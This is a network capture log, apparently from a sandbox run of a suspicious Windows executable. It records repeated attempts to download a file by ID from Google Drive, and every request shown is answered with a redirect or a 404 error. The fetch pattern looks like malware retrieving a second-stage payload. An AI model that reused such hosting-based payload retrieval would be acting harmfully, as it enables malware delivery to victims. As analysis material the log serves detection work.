2025-01-10 14:34:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:56 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-lP5DaGPTwBCSJBuLyxdOkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49777	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:56 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:57 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC45-i7YH9HgbwTZoFCrGyKRyVgEQlrBnLxE2vDMWXYSEBg3Dsfmtht0qa1UYFa0f-E2 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:57 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-SJ7dBqLYgQFCMsI7lb0qgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:34:57 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 5a 48 41 31 4e 4d 58 57 49 78 33 32 54 78 70 39 4b 71 76 6c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yZHA1NMXWIx32Txp9KqvlQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49778	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:07 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:07 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:07 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--hSotlMiLEg9AAvZ2jUa7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49779	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:11 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:11 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7X79WSwMnVC6Dk6SezQM-LvXn1WZhUNpqNpv9HB60POcagnGdD8CIdlMJkzbopNMRY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:11 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-XuSKyxWzvXdaWTilRNBcJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:35:11 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 66 66 35 4a 70 72 48 4b 39 57 6e 71 71 64 4c 49 54 6b 4c 71 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Mff5JprHK9WnqqdLITkLqA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49780	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:21 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:21 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:21 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-NQ1HJASmv8F8wEr1pOHDEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49781	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:22 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:22 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQXtUEJZf4C4gkDCXKnFkydjwwQWKm1nceswqeqLOCI1hznQIp0uNPXdYf66dRviP6W_e-E86A Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:22 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-X86PfESf03BrET8MPkZ54A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:35:22 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 51 2d 75 73 59 78 4c 31 74 36 77 36 57 4d 71 4f 57 6d 47 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wQ-usYxL1t6w6WMqOWmGTQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49782	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:32 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:33 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:33 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-OFdErhOOTiuARb81Ssn7SA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49783	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:33 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:33 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4XBvI73cbfhFTD7NKIHyRefins8Nh-tMwIvGsVOJMNJUm46jRX1TkZlVl8aIjOUN2E_lnlG5o Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:33 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-QtfbGDAh5BauZHnw-osd9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:35:33 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 61 36 56 4c 78 39 39 5f 46 4c 53 2d 57 6d 31 62 49 6e 79 47 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ma6VLx99_FLS-Wm1bInyGA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49784	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:44 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
